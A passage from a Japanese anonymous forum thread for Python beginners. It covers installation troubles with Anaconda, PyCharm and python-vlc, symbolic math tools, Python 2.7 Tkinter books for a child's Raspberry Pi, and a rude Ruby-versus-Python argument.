むしろ最初からPython入ってるのがMac
300デフォルトの名無しさん
2019/05/24(金) 20:35:10.38ID:6kmMDU5m でも3系入れないといかんじゃん
301デフォルトの名無しさん
2019/05/24(金) 21:18:56.24ID:0/HBA6Rh IDLE 3.7を使ってみてるんですけど、これって日本語で編集できないんですか?OSはWinです。
302デフォルトの名無しさん
2019/05/24(金) 22:06:43.84ID:XmR3ae2T >>286
Ubuntuはminimal installでもpython3が入ってしまうからソースコードで入れる機会はないけども参考までに
pipが入らないのはライブラリが足りないから
sudo apt-get install libffi-dev
をした後で、configureオプションに
--with-ensurepip
をつける
実行はpip3を使う
あとconfigureする前にaptで
libbz2-dev
libncurses-dev
libdb-dev
libgdbm-dev
liblzma-dev
libsqlite3-dev
tk-dev
uuid-dev
libreadline-dev
を入れておくと幸せになれる
でもソースコード教をやめたらもっと幸せになれる
Ubuntuはminimal installでもpython3が入ってしまうからソースコードで入れる機会はないけども参考までに
pipが入らないのはライブラリが足りないから
sudo apt-get install libffi-dev
をした後で、configureオプションに
--with-ensurepip
をつける
実行はpip3を使う
あとconfigureする前にaptで
libbz2-dev
libncurses-dev
libdb-dev
libgdbm-dev
liblzma-dev
libsqlite3-dev
tk-dev
uuid-dev
libreadline-dev
を入れておくと幸せになれる
でもソースコード教をやめたらもっと幸せになれる
303デフォルトの名無しさん
2019/05/25(土) 10:13:13.37ID:O1zpSt3I Pythonはソースで入れるもんじゃないということがわかった
304デフォルトの名無しさん
2019/05/25(土) 10:52:26.65ID:HkxaNc28 大抵の用途ならcolabで十分だからインストールや環境設定で消耗するぐらいならcolabでどこまでできるかを考えた方が良い
305デフォルトの名無しさん
2019/05/26(日) 14:29:10.77ID:3cU5Ak9F PyCharmでpython-vlcを仕様したいんだが
ANACONDAでpip install python-vlc
Pycharmでsetting→Project Interpreterからinstallしたんだが
import vlcで指定されたモジュールが見つかりませんとなるんだがどうしたらいいの?
ANACONDAでpip install python-vlc
Pycharmでsetting→Project Interpreterからinstallしたんだが
import vlcで指定されたモジュールが見つかりませんとなるんだがどうしたらいいの?
306デフォルトの名無しさん
2019/05/26(日) 14:58:07.93ID:OsWsHViw anacondaなのにpipつかっちゃうん?
まぁそれはいいとして、インストールしたライブラリが見つからないのって、仮想環境使ってるんじゃないの?
まぁそれはいいとして、インストールしたライブラリが見つからないのって、仮想環境使ってるんじゃないの?
307デフォルトの名無しさん
2019/05/26(日) 15:00:01.08ID:4t7mcF6A 説明が端折られすぎてて意味が分からんから当てずっぽうで書くが
anacondaのグローバルなsite-packagesにvlcが入ってて、
PyCharmではcondaの仮想環境のsite-packages見てる
anacondaのグローバルなsite-packagesにvlcが入ってて、
PyCharmではcondaの仮想環境のsite-packages見てる
308デフォルトの名無しさん
2019/05/26(日) 15:05:07.90ID:4t7mcF6A PyCharmとAnacondaと仮想環境なんで誰かが教えてやらんと手を出すはずないよな
半端な説明して初心者を迷わしてる奴はぶち殺すべきだわ
半端な説明して初心者を迷わしてる奴はぶち殺すべきだわ
309デフォルトの名無しさん
2019/05/26(日) 15:05:22.18ID:3cU5Ak9F310デフォルトの名無しさん
2019/05/26(日) 15:52:27.13ID:jVNot2dU >>309
PyCharm + Anacondaということなんで参戦
PreferenceでProject Interpreter開くと下にパッケージでて、そこになければかなりの確率でInterpreterの指定先がおかしい
OSくらいは書いて欲しい
pipはどこから実行したの?
PyCharm + Anacondaということなんで参戦
PreferenceでProject Interpreter開くと下にパッケージでて、そこになければかなりの確率でInterpreterの指定先がおかしい
OSくらいは書いて欲しい
pipはどこから実行したの?
311デフォルトの名無しさん
2019/05/26(日) 16:01:56.27ID:3cU5Ak9F312デフォルトの名無しさん
2019/05/26(日) 16:19:40.66ID:jVNot2dU >>311
pipはAnaconda Promptを開いてコマンドを叩いたということでいいかな
そしたら
(base) C:\Users\foo
みたくなっていると思う
カッコの中が環境名でそこにインストールされてる
Interpreterを調べるには、pipを実行したコマンドプロンプトで
where pip
とうつと幾つかpip.exeの場所が出る
その中で一番上のpip.exeと同じ場所にあるpython.exeをInterpreterとして選ぶ
pipはAnaconda Promptを開いてコマンドを叩いたということでいいかな
そしたら
(base) C:\Users\foo
みたくなっていると思う
カッコの中が環境名でそこにインストールされてる
Interpreterを調べるには、pipを実行したコマンドプロンプトで
where pip
とうつと幾つかpip.exeの場所が出る
その中で一番上のpip.exeと同じ場所にあるpython.exeをInterpreterとして選ぶ
313デフォルトの名無しさん
2019/05/26(日) 16:40:03.70ID:jVNot2dU あ、Project Interpreterに表示されているのか
だとすると別の問題っぽいなぁ
VLC本体を入れてないとかかな
www.videolan.org
だとすると別の問題っぽいなぁ
VLC本体を入れてないとかかな
www.videolan.org
314デフォルトの名無しさん
2019/05/26(日) 16:52:02.13ID:3cU5Ak9F VLC本体はインストール済みなんだけどな
project interpreterから一回uninstallしたら
今度はinstallできなくなった
Non-zero exit code (1)
と表示される
project interpreterから一回uninstallしたら
今度はinstallできなくなった
Non-zero exit code (1)
と表示される
315デフォルトの名無しさん
2019/05/26(日) 16:54:50.76ID:3cU5Ak9F ごめんなさい。installはできました
でもimport読み込めません
でもimport読み込めません
316デフォルトの名無しさん
2019/05/26(日) 17:04:35.82ID:jVNot2dU 試しにインストールしてみたら普通にいけてしまった
問題の切り分けが必要かな
32bitと64bit混在してないよね?
VLCは実は32bit版とか
あるいはVLCが古すぎるとか
Interprterのライブラリに表示されているのなら、問題はその先かな
問題の切り分けが必要かな
32bitと64bit混在してないよね?
VLCは実は32bit版とか
あるいはVLCが古すぎるとか
Interprterのライブラリに表示されているのなら、問題はその先かな
317デフォルトの名無しさん
2019/05/27(月) 23:54:52.37ID:apQARLAy 400年ぶりに書きかわる世界の「OS」:ブロックチェーンは大いなる変化の序章にすぎない
https://wired.jp/2016/09/21/futuredays2016-kenji-saito/
そろそろブロックチェーンにも手を付けなければ
まだ新しく実験的段階みたいだがある程度Python勉強したらVyperでも触ってみるか
https://wired.jp/2016/09/21/futuredays2016-kenji-saito/
そろそろブロックチェーンにも手を付けなければ
まだ新しく実験的段階みたいだがある程度Python勉強したらVyperでも触ってみるか
318デフォルトの名無しさん
2019/05/27(月) 23:59:16.39ID:YW0FY62m 3年前の化石ちょうちん記事ワロタwww
319デフォルトの名無しさん
2019/05/28(火) 00:20:41.52ID:M3HPfliA black-chain
320デフォルトの名無しさん
2019/05/30(木) 02:35:32.67ID:MekS6E+1 ブロックチェーンはインターネット並みのイノベーションだと思う
321デフォルトの名無しさん
2019/05/30(木) 07:53:37.00ID:bMHQkBGr >>285 色々調べてると次の様な関係らしいね。
Sympy は、記号計算が出来る。 同分野では、
Mathematica (Wolfram言語)が頂点にいるが、有料、高価
MatLab 似ているが、あくまでも数値解析ソフト。
SageMath は、Mathematica の機能をオープンソースとして無料にしたもの。 ありとあらゆる既存に開発された機能を寄せ集めてるので巨大。独立システム。
ライブラリとしては使えない。
SymPy は、Mathematicaで出来ることは全て盛り込もうとしたもので、Python だけで書かれている。
ライブラリなのであらゆる場所で使うことができる。
高校くらいからこんなの使いたかったな。手計算の代数や幾何なんてアホらしくなるな。
今の工学系の大学ではみんなこの種のプログラムを使わせてるんだろうか? こんな便利なものがあるのに使わないわけないだろうな。Mathematica は良く耳にするね。
Sympy は、記号計算が出来る。 同分野では、
Mathematica (Wolfram言語)が頂点にいるが、有料、高価
MatLab 似ているが、あくまでも数値解析ソフト。
SageMath は、Mathematica の機能をオープンソースとして無料にしたもの。 ありとあらゆる既存に開発された機能を寄せ集めてるので巨大。独立システム。
ライブラリとしては使えない。
SymPy は、Mathematicaで出来ることは全て盛り込もうとしたもので、Python だけで書かれている。
ライブラリなのであらゆる場所で使うことができる。
高校くらいからこんなの使いたかったな。手計算の代数や幾何なんてアホらしくなるな。
今の工学系の大学ではみんなこの種のプログラムを使わせてるんだろうか? こんな便利なものがあるのに使わないわけないだろうな。Mathematica は良く耳にするね。
322デフォルトの名無しさん
2019/05/30(木) 08:31:34.69ID:2w6JKUmW Mathematicaのエンジンが無料で使えるようになったらしい
323デフォルトの名無しさん
2019/05/30(木) 10:02:21.84ID:+xWYr2/c >>322
「Mathematica」や“Wolfram|Alpha”の核「Wolfram Engine」が開発者向けに無償開放
https://forest.watch.impress.co.jp/docs/news/1186454.html
開発者向けの無償「Wolfram Engine」は、運用前・試作(pre-production)段階でのソフト開発で利用可能。
製品に組み込むことはできないが、オープンソースプロジェクトであれば無償のプロダクションライセンスを申請することも可能だ。
各種プログラミング言語(Python、Java、.NETおよびC/C++)で開発されたアプリにライブラリとして組み込んだり、「Excel」「Jupyter notebooks」「Unity」といったアプリと連携させたりすることが可能。
「Mathematica」や“Wolfram|Alpha”の核「Wolfram Engine」が開発者向けに無償開放
https://forest.watch.impress.co.jp/docs/news/1186454.html
開発者向けの無償「Wolfram Engine」は、運用前・試作(pre-production)段階でのソフト開発で利用可能。
製品に組み込むことはできないが、オープンソースプロジェクトであれば無償のプロダクションライセンスを申請することも可能だ。
各種プログラミング言語(Python、Java、.NETおよびC/C++)で開発されたアプリにライブラリとして組み込んだり、「Excel」「Jupyter notebooks」「Unity」といったアプリと連携させたりすることが可能。
324デフォルトの名無しさん
2019/05/30(木) 12:25:13.13ID:c0yfQDK8 >>321
フリーならmaximaもあるぞ。自分は10年以上前から使ってたが、最近はsympyに乗り換えた。
フリーならmaximaもあるぞ。自分は10年以上前から使ってたが、最近はsympyに乗り換えた。
325デフォルトの名無しさん
2019/05/30(木) 13:08:30.45ID:Ec3P7Zkh (良質な)選択肢が増えるのは良いこと
rubyは論外
rubyは論外
326デフォルトの名無しさん
2019/05/30(木) 13:55:14.24ID:pTJ8iP5X sympy無いからね
327デフォルトの名無しさん
2019/05/30(木) 16:38:42.64ID:xulCAv1+328デフォルトの名無しさん
2019/05/30(木) 17:27:10.98ID:c0yfQDK8 >>326
AIは勝つ
AIは勝つ
329デフォルトの名無しさん
2019/05/30(木) 17:42:39.66ID:PBHpgwjD >>328
うまいw
うまいw
330デフォルトの名無しさん
2019/05/30(木) 21:20:41.66ID:E3tbd607 複数のプログラミング言語に対応する時
Rubyがハブられる事多くね?
Rubyがハブられる事多くね?
331デフォルトの名無しさん
2019/05/30(木) 23:29:14.19ID:AhU3n+K3 Javaも有償化で死ぬ運命だし
PerlとPHPも存在意義がないし
言語はPythonとJavaScriptだけあればいい
PerlとPHPも存在意義がないし
言語はPythonとJavaScriptだけあればいい
332デフォルトの名無しさん
2019/05/30(木) 23:34:55.95ID:uFtB2gCY まだだ、まだ終わらんよ!
333デフォルトの名無しさん
2019/05/31(金) 00:30:20.79ID:PSQLu+bz JAVAは有償化の部分ができるだけだろ。
ウインドウズで簡単にpythonが導入できるようになるらしいな。
ウインドウズで簡単にpythonが導入できるようになるらしいな。
334デフォルトの名無しさん
2019/05/31(金) 01:56:23.89ID:VaYAhJdd >>329
GAN
GAN
335デフォルトの名無しさん
2019/05/31(金) 09:23:04.34ID:4DhDQJ0v >>334
惜しい
惜しい
336デフォルトの名無しさん
2019/05/31(金) 12:37:49.31ID:LXc8d8Er337デフォルトの名無しさん
2019/05/31(金) 13:51:56.51ID:537aAHVt ネットで探してみたのですが、見つからず…
Python2.7を使っているのですが
Tkinterの入門書籍でオススメなどありましたら
よろしくお願いしますm(_ _)m
ネットで都度、調べ調べごまかしてきたのですが、
使用頻度が少し出てきたので、一通り見てみようかと。
Python2.7を使っているのですが
Tkinterの入門書籍でオススメなどありましたら
よろしくお願いしますm(_ _)m
ネットで都度、調べ調べごまかしてきたのですが、
使用頻度が少し出てきたので、一通り見てみようかと。
338デフォルトの名無しさん
2019/05/31(金) 13:58:23.58ID:+B1cnzPd ネットの方が良いよ
339デフォルトの名無しさん
2019/05/31(金) 15:16:18.35ID:/RjVR28k >>337 2.7は捨てた方が良いんじゃないの?
340デフォルトの名無しさん
2019/05/31(金) 16:16:50.64ID:537aAHVt 古いバージョンである事は充分わかっているのですが、
ラズベリーパイで使っているため、
ライブラリの依存の関係で切るわけにいかない状況で…
一人で遊ぶのにはPython3で良いのですが、子供たちが使っているので
書籍や何やらも2.7で統一しています。
余談ですが同じように、Scratch1.4もGPIO周りとの兼ね合いで
2.7を選択せざるを得ないのです。
Windows * Tkinter の 2000年 英語本PDF600ページが無料でありましたが
これは、古過ぎます…ね… すみません。いい書籍があれば良いのですが…
ラズベリーパイで使っているため、
ライブラリの依存の関係で切るわけにいかない状況で…
一人で遊ぶのにはPython3で良いのですが、子供たちが使っているので
書籍や何やらも2.7で統一しています。
余談ですが同じように、Scratch1.4もGPIO周りとの兼ね合いで
2.7を選択せざるを得ないのです。
Windows * Tkinter の 2000年 英語本PDF600ページが無料でありましたが
これは、古過ぎます…ね… すみません。いい書籍があれば良いのですが…
341デフォルトの名無しさん
2019/05/31(金) 18:44:46.18ID:yAPTWdiQ ネットを探して見つからないって・・これじゃダメってことなんだよね?
https://docs.python.org/ja/2.7/library/tk.html
https://docs.python.org/ja/2.7/library/tk.html
342デフォルトの名無しさん
2019/05/31(金) 19:28:37.67ID:537aAHVt すいません。ワケあって書籍が必要なんです。
いろいろ調べてみると、
・みんなのPython 改正版
・みんなのPython 第3版
上記書籍で演習がGUI(Tkinter)っぽいのですが
Tkinterについてのフレームやらなんやら詳しく書いてるのか
触り程度なのか、誰かご存知ありませんでしょうか??
有名な書籍っぽいので誰かお持ちだったり、買った事あったり…
いろいろ調べてみると、
・みんなのPython 改正版
・みんなのPython 第3版
上記書籍で演習がGUI(Tkinter)っぽいのですが
Tkinterについてのフレームやらなんやら詳しく書いてるのか
触り程度なのか、誰かご存知ありませんでしょうか??
有名な書籍っぽいので誰かお持ちだったり、買った事あったり…
343デフォルトの名無しさん
2019/05/31(金) 20:08:41.66ID:V8SvGoHx プログラミング初心者だけど、プログラミングってWebラーニングで学ぶのが良いかと思ったけど詐欺みたいなサイトしかないな
数万円とか数十万円とるサイトばかりだ
数万円とか数十万円とるサイトばかりだ
344デフォルトの名無しさん
2019/05/31(金) 20:39:35.05ID:LXc8d8Er345デフォルトの名無しさん
2019/05/31(金) 20:58:12.33ID:VcvJkX3n PYQなら月3000円くらいやろ
本1冊買うのと変わらんな
本1冊買うのと変わらんな
346デフォルトの名無しさん
2019/05/31(金) 21:27:41.46ID:mkyHYe1M 今時Python2とか小学生にも煽られるぞ
347デフォルトの名無しさん
2019/05/31(金) 22:42:49.03ID:PnCWP7qD 本をけなすやつの中には
有料サイトのステマも混じってるのかな
有料サイトのステマも混じってるのかな
348デフォルトの名無しさん
2019/06/01(土) 00:14:57.92ID:GQlgchjf349デフォルトの名無しさん
2019/06/01(土) 00:53:43.66ID:YPn5o2+D 普通にTkの本買えば?
350デフォルトの名無しさん
2019/06/01(土) 02:43:15.54ID:bRz/F46N python3 tkinter pyautoguiでマウス座標を取得して自動更新したい
x=pyautogui.position()
#ラベルを追加
label = tk.Label(root, text=x),label.place(x=0, y=0)
label.update()
更新できずに困ってます。どうすれば良いでしょうか?
x=pyautogui.position()
#ラベルを追加
label = tk.Label(root, text=x),label.place(x=0, y=0)
label.update()
更新できずに困ってます。どうすれば良いでしょうか?
351デフォルトの名無しさん
2019/06/01(土) 11:31:40.48ID:KmtNp3Ps352デフォルトの名無しさん
2019/06/01(土) 13:16:17.37ID:Yp9yk5/9353デフォルトの名無しさん
2019/06/01(土) 13:34:16.00ID:Cw4MltZM tcl/tk の本読んでも tkinter を使えるようにはならないぞ
深い理解には役立つのは認めるが
深い理解には役立つのは認めるが
354デフォルトの名無しさん
2019/06/01(土) 15:56:47.73ID:551IpXHk >>340 ラズパイは、python3 が入ってるだろ。
python3 ―version
バージョンアップだって出来るよ。
Scratch のGPIO だって、Scratch の新バージョンではpython3 が使えるんじゃないの? 正式には無くなるものを使い続けるはずがない。
ScratchはGPIOサーバーを使う?
GPIOサーバーは2.7で動かして他は全て3で動かすとか。
そもそもpython2.7 じゃまともに日本語が使えないでしょ。 子供にそんなものを使わせるなんて酷だよ。
UTF8が標準で使えるようになったのはPython3から。
日本語が使えないGUIを作って何するの?
python3 ―version
バージョンアップだって出来るよ。
Scratch のGPIO だって、Scratch の新バージョンではpython3 が使えるんじゃないの? 正式には無くなるものを使い続けるはずがない。
ScratchはGPIOサーバーを使う?
GPIOサーバーは2.7で動かして他は全て3で動かすとか。
そもそもpython2.7 じゃまともに日本語が使えないでしょ。 子供にそんなものを使わせるなんて酷だよ。
UTF8が標準で使えるようになったのはPython3から。
日本語が使えないGUIを作って何するの?
355デフォルトの名無しさん
2019/06/01(土) 16:01:51.70ID:61PFNirk 質問のバックグランドなんて人それぞれなんだから、
2.7についてのものでも、べつにいいじゃない。
2.7についてのものでも、べつにいいじゃない。
356デフォルトの名無しさん
2019/06/01(土) 16:08:07.66ID:551IpXHk Tkinter は日本語が使えないんだから日本語の書籍があるわけないだろ。
357デフォルトの名無しさん
2019/06/01(土) 16:09:39.16ID:551IpXHk 日本語が使えるのはpython3 の tkinter から。
358デフォルトの名無しさん
2019/06/01(土) 16:15:06.87ID:4hNhVGGP scratchのエンジンはjavascriptだけどな。
359デフォルトの名無しさん
2019/06/01(土) 16:19:47.78ID:Yp9yk5/9 もちろんわかってますよ。
環境や理由を全て説明するわけにはいかないので、
アドバイスありがとうございます。
環境や理由を全て説明するわけにはいかないので、
アドバイスありがとうございます。
360デフォルトの名無しさん
2019/06/01(土) 16:43:50.98ID:551IpXHk 気を付けてコーディングすれば表示することはできるだろうけど、そんな気苦労をしてまで日本語を使わせる理由が見当たらない。 2.7を使い続けるのはデメリットの方が大きいだろう。
Python の日本語の書籍だって沢山で始めたのはPython3 になってからだし。
Python の日本語の書籍だって沢山で始めたのはPython3 になってからだし。
361デフォルトの名無しさん
2019/06/01(土) 16:59:22.20ID:Yp9yk5/9 プログラミングスキルやトレンドを目的とした素養目的ではないので、
2.7の方がメリットがある環境ってだけです。
今現在、私立に通っているお子さんをお持ちの方ならわかる方もいるかもですね。
アドバイスありがとうございます。
私自身はPython3で書いてます。アドバイスありがとうございます。
自己解決しました。2系で書かれてるTkinterの書籍見つけました。
ちなみに2.7で日本語は何も問題な使用できます。
2.7の方がメリットがある環境ってだけです。
今現在、私立に通っているお子さんをお持ちの方ならわかる方もいるかもですね。
アドバイスありがとうございます。
私自身はPython3で書いてます。アドバイスありがとうございます。
自己解決しました。2系で書かれてるTkinterの書籍見つけました。
ちなみに2.7で日本語は何も問題な使用できます。
362デフォルトの名無しさん
2019/06/01(土) 17:30:05.67ID:dhP+frpU まさか私立学校のプログラミング教育がPython2.7とはこの時誰も知らなかったのである
嫌すぎだろw
嫌すぎだろw
363デフォルトの名無しさん
2019/06/01(土) 17:56:17.30ID:ve4RhxKy 幼少期に後方互換性維持の重要性を学習させるという
深遠な教育理念があるんだぞ
深遠な教育理念があるんだぞ
364デフォルトの名無しさん
2019/06/01(土) 18:04:56.17ID:Yp9yk5/9 別に親としては、どっちでもいい気がします…。
子供がプログラミング屋さん志望なワケじゃないので。
取り組み自体が5-6年前?結構早かった学校という事でかえって安心ではあります。
技術科目先行してたみたいで、指導要綱や教材が到達点までカリキュラムが出来上がってるのでそれに準じてる感じですかね?
数年後、中学にもなってネコ跳ね返しで四苦八苦…より、メリットがあるような気はしてます。
統計初歩、三角関数、微積がゴールのようです。
学校バレしそうなので、ここへんで。ありがとうございましたm(_ _)m
子供がプログラミング屋さん志望なワケじゃないので。
取り組み自体が5-6年前?結構早かった学校という事でかえって安心ではあります。
技術科目先行してたみたいで、指導要綱や教材が到達点までカリキュラムが出来上がってるのでそれに準じてる感じですかね?
数年後、中学にもなってネコ跳ね返しで四苦八苦…より、メリットがあるような気はしてます。
統計初歩、三角関数、微積がゴールのようです。
学校バレしそうなので、ここへんで。ありがとうございましたm(_ _)m
365デフォルトの名無しさん
2019/06/01(土) 18:26:38.27ID:551IpXHk 私立学校みんなが足並みをそろえてるわけじゃないでしょ?
scratch を使ってる学校は多いと思われるけど。 それは単にインストールした環境がpython2.7 だっただけでしょ。
python の言語教育をpython2.7 でやってるの? ちょっとにわかには信じがたい。
小学校? 中高?
いずれにしろブロックプログラミングをscratch でやってるだけの話でしょ?
通信相手は、言語の種類は関係ないんじゃないの?
micro:bit だってpython3 系のmicro python だったと思う。
ブロックプログラムはMicrosoft の MakeCode 尤も実行コードはjavascript しか吐き出さない。 通信はbluetooth やWiFi、或いはUSB直結
python を吐き出すものもあるが普及はしていない。
つまり、ブロックプログラミングと、Python などの言語教育は全く別物となっている。 BBC では、python教育用に独自のエディタを提供している。
勿論scratch の対象デバイスとしてmicro:bit も選べる。
scratch を使ってる学校は多いと思われるけど。 それは単にインストールした環境がpython2.7 だっただけでしょ。
python の言語教育をpython2.7 でやってるの? ちょっとにわかには信じがたい。
小学校? 中高?
いずれにしろブロックプログラミングをscratch でやってるだけの話でしょ?
通信相手は、言語の種類は関係ないんじゃないの?
micro:bit だってpython3 系のmicro python だったと思う。
ブロックプログラムはMicrosoft の MakeCode 尤も実行コードはjavascript しか吐き出さない。 通信はbluetooth やWiFi、或いはUSB直結
python を吐き出すものもあるが普及はしていない。
つまり、ブロックプログラミングと、Python などの言語教育は全く別物となっている。 BBC では、python教育用に独自のエディタを提供している。
勿論scratch の対象デバイスとしてmicro:bit も選べる。
366デフォルトの名無しさん
2019/06/01(土) 18:45:18.53ID:GQlgchjf 予算が掛かるから、PC が古いだけだろ
子供の遊びのために、PCを買い換える必要はない。
どうせ、遊びなのに
YouTube の動画をアップしてる、KENTA が初心者はRuby から始めろって言ってる。
Rubyの女神・池澤あやかも、同じ事を言ってる
Python が初心者にできるわけない!
Guido 自身が、内包表記は難しいから使うなって言ってるのにw
子供の遊びのために、PCを買い換える必要はない。
どうせ、遊びなのに
YouTube の動画をアップしてる、KENTA が初心者はRuby から始めろって言ってる。
Rubyの女神・池澤あやかも、同じ事を言ってる
Python が初心者にできるわけない!
Guido 自身が、内包表記は難しいから使うなって言ってるのにw
367デフォルトの名無しさん
2019/06/01(土) 18:55:39.11ID:U+C+nCCR こうしてrubyは世界中から嫌われていくのだった。
つづく
つづく
368デフォルトの名無しさん
2019/06/01(土) 18:56:00.45ID:4hNhVGGP >>366
死ね
死ね
369デフォルトの名無しさん
2019/06/01(土) 19:03:18.86ID:k6JXFZAo >>366 ラズパイだろ、ソフトは最新に出来るぞ。 ハードを買い直しても数千円。
世界の初等プログラミング言語はPython と言うことは、小学校から大学まで一致してる。
この間東大のコンピュータ講座を見てみたら、やはりPythonメインになってた。
世界の初等プログラミング言語はPython と言うことは、小学校から大学まで一致してる。
この間東大のコンピュータ講座を見てみたら、やはりPythonメインになってた。
370デフォルトの名無しさん
2019/06/01(土) 19:03:30.48ID:Yp9yk5/9 >>365
学校は中高一貫私立です。
某大学から専用エディタが提供されているようです。(教材カリキュラムも共同だと思います)
公開授業の時に高学年の技術を一度見ただけなので詳しくはわかりませんが
マイクビットや他ブロック教材、マインクラフトなど全部同じ専用エディタで簡単にフラッシュできるようです。
スニペットも日本語ヘルプがポップアップ表示されたり…個人的にはコーディング入門者には非常に良い環境だと感じました。
恐らくですが、多くの学校は仰る通り、想像通り、で良いと思われます。
まぁ、smalltalk etoyなんかで授業やってるとか、中学になってまで猫オンリー、そんなワケじゃないんですから、
Python3がPython2でも構わないかなってのが、自分の見解で…それ以上それ以下でもないです。
学校側も私自身も目的がプログラミングスキルではない事だけは確かですね。
いろいろ、ありがとうございました。
学校は中高一貫私立です。
某大学から専用エディタが提供されているようです。(教材カリキュラムも共同だと思います)
公開授業の時に高学年の技術を一度見ただけなので詳しくはわかりませんが
マイクビットや他ブロック教材、マインクラフトなど全部同じ専用エディタで簡単にフラッシュできるようです。
スニペットも日本語ヘルプがポップアップ表示されたり…個人的にはコーディング入門者には非常に良い環境だと感じました。
恐らくですが、多くの学校は仰る通り、想像通り、で良いと思われます。
まぁ、smalltalk etoyなんかで授業やってるとか、中学になってまで猫オンリー、そんなワケじゃないんですから、
Python3がPython2でも構わないかなってのが、自分の見解で…それ以上それ以下でもないです。
学校側も私自身も目的がプログラミングスキルではない事だけは確かですね。
いろいろ、ありがとうございました。
371デフォルトの名無しさん
2019/06/01(土) 19:05:59.24ID:Yp9yk5/9 あ。因みに
家の子供用のパソコンはラズパイですが、学校は古いWIN機です。
家の子供用のパソコンはラズパイですが、学校は古いWIN機です。
372デフォルトの名無しさん
2019/06/01(土) 20:11:22.62ID:n+kdCe2d めっちゃ情報くれますやん
373デフォルトの名無しさん
2019/06/01(土) 20:23:40.09ID:ZZn+nMdc >>372
一部に下手な嘘が混ざっている
一部に下手な嘘が混ざっている
374デフォルトの名無しさん
2019/06/01(土) 20:52:15.95ID:61PFNirk XPでも、3.4なら動くし、つい先日までメンテされてたんだけどな
375366
2019/06/01(土) 21:31:23.30ID:GQlgchjf AI, IoT するなら当然、Python がメインでも良い
でも、Rubyの女神・池澤あやかが、大学教育を批判してるだろ。
C から始めるから、全員プログラミングを辞めてしまう。
だから、プログラミングはしょーもない、と言われるわけ!
プログラミングで楽しさに焦点を当てた言語は、
Ruby と、Ruby っぽいElixir だけなんだよ!
プログラミング自体を面白くする、仕掛けを作ってある。
だから、Rubyから始めろって言われるわけ
YouTube の動画をアップしてる、あれほどPythonを推してるKENTA でも、
初心者はRuby から始めろって言ってるぐらい!
初心者はプログラミング自体をRubyで学んでから、Pythonへ行っても遅くならない!
極端な話、Ruby on Rails を学べば、CakePHP も出来てしまう。
全くのコピーだからw
Rubyは、他の言語を学ぶために、好都合。
KENTAは、Rubyで基礎を作っているから、10言語ぐらい出来るわけ!
池澤あやか・KENTAなど、10言語ぐらい出来る奴が言ってるのだから、間違いない!
でも、Rubyの女神・池澤あやかが、大学教育を批判してるだろ。
C から始めるから、全員プログラミングを辞めてしまう。
だから、プログラミングはしょーもない、と言われるわけ!
プログラミングで楽しさに焦点を当てた言語は、
Ruby と、Ruby っぽいElixir だけなんだよ!
プログラミング自体を面白くする、仕掛けを作ってある。
だから、Rubyから始めろって言われるわけ
YouTube の動画をアップしてる、あれほどPythonを推してるKENTA でも、
初心者はRuby から始めろって言ってるぐらい!
初心者はプログラミング自体をRubyで学んでから、Pythonへ行っても遅くならない!
極端な話、Ruby on Rails を学べば、CakePHP も出来てしまう。
全くのコピーだからw
Rubyは、他の言語を学ぶために、好都合。
KENTAは、Rubyで基礎を作っているから、10言語ぐらい出来るわけ!
池澤あやか・KENTAなど、10言語ぐらい出来る奴が言ってるのだから、間違いない!
376デフォルトの名無しさん
2019/06/01(土) 21:37:45.65ID:4hNhVGGP >>375
死ね
死ね
377デフォルトの名無しさん
2019/06/01(土) 21:51:08.32ID:XabM0uH9 >>375
RubyだのPythonだのはプログラミングもどきでしかないから。
たとえそこで食いつきが良かったとしても、CやPascalのような
本当のプログラミングに進んだ時点で結局離れてしまう。
プログラミングの適性がある人は、RubyだのPythonだのより。
CやPascalの方に楽しさを感じるよ。
RubyだのPythonだのはプログラミングもどきでしかないから。
たとえそこで食いつきが良かったとしても、CやPascalのような
本当のプログラミングに進んだ時点で結局離れてしまう。
プログラミングの適性がある人は、RubyだのPythonだのより。
CやPascalの方に楽しさを感じるよ。
378デフォルトの名無しさん
2019/06/01(土) 22:15:31.63ID:w9UetZ9K379デフォルトの名無しさん
2019/06/01(土) 22:26:51.28ID:bffse+wh380デフォルトの名無しさん
2019/06/01(土) 22:33:29.86ID:SRjiavCx Ruby教徒はどこからともなく湧いてくる。
掃討はなかなか大変。
奴らはなりすましPython民として何食わぬ顔をして諸君の隣にいる。
掃討はなかなか大変。
奴らはなりすましPython民として何食わぬ顔をして諸君の隣にいる。
381デフォルトの名無しさん
2019/06/01(土) 22:34:57.15ID:6lfNl3yX382デフォルトの名無しさん
2019/06/02(日) 00:25:40.67ID:kAC27lYz >>380 ここで暴れてるルーピーは一人しかいないだろ。
383デフォルトの名無しさん
2019/06/02(日) 03:20:48.81ID:UIpFJ6ej Ruby信者の質の悪さは日本のコンピューター史に残るレベル。
世界標準のPythonの普及を遅らせガラパゴス化させた罪は重い。
世界標準のPythonの普及を遅らせガラパゴス化させた罪は重い。
384デフォルトの名無しさん
2019/06/02(日) 03:28:25.18ID:0jjDNrWp 戦争でも始まるんですか?
385デフォルトの名無しさん
2019/06/02(日) 06:53:43.28ID:kAC27lYz 戦争は終わったのに一人ゲリラ戦をしてるあほがいる。
情報処理の言語が、 C Java Python の三つになった事で終戦宣言となった。
情報処理の言語が、 C Java Python の三つになった事で終戦宣言となった。
386デフォルトの名無しさん
2019/06/02(日) 08:34:59.01ID:UzFihsHo java政権が戦乱の元になりそうなのだが…
387デフォルトの名無しさん
2019/06/02(日) 10:31:21.01ID:bAFc1zkP Javaはもうすぐ終わるんじゃないの?
388デフォルトの名無しさん
2019/06/02(日) 11:20:39.41ID:P158gOa4 時代はrustだよね
389デフォルトの名無しさん
2019/06/02(日) 11:46:41.70ID:J26IJNP5 池澤あやかωにいちいち枕詞付けるのやめれωω
390デフォルトの名無しさん
2019/06/02(日) 11:47:39.88ID:+FZaNNUF >>383
日本のAIの遅れってRuby普及したせいでPythonのイメージが悪くて
最初誰も飛びつかなかったのが原因だしな
今更Pythonかよって雰囲気がすごくあった
言語の影響って予想よりデカイ
日本のAIの遅れってRuby普及したせいでPythonのイメージが悪くて
最初誰も飛びつかなかったのが原因だしな
今更Pythonかよって雰囲気がすごくあった
言語の影響って予想よりデカイ
391デフォルトの名無しさん
2019/06/02(日) 12:26:47.84ID:mZoycbLY Rubyに飛びついたのはバカだけだよ?
392デフォルトの名無しさん
2019/06/02(日) 12:28:24.38ID:J26IJNP5 Pで始まるのは成功する
Rで始まるのは失敗する
Rで始まるのは失敗する
393デフォルトの名無しさん
2019/06/02(日) 12:45:30.73ID:evfhY1n8 Pythonが日本でも流行ることが出来たのはひとえにネーミングによるもの、オッパイソン!
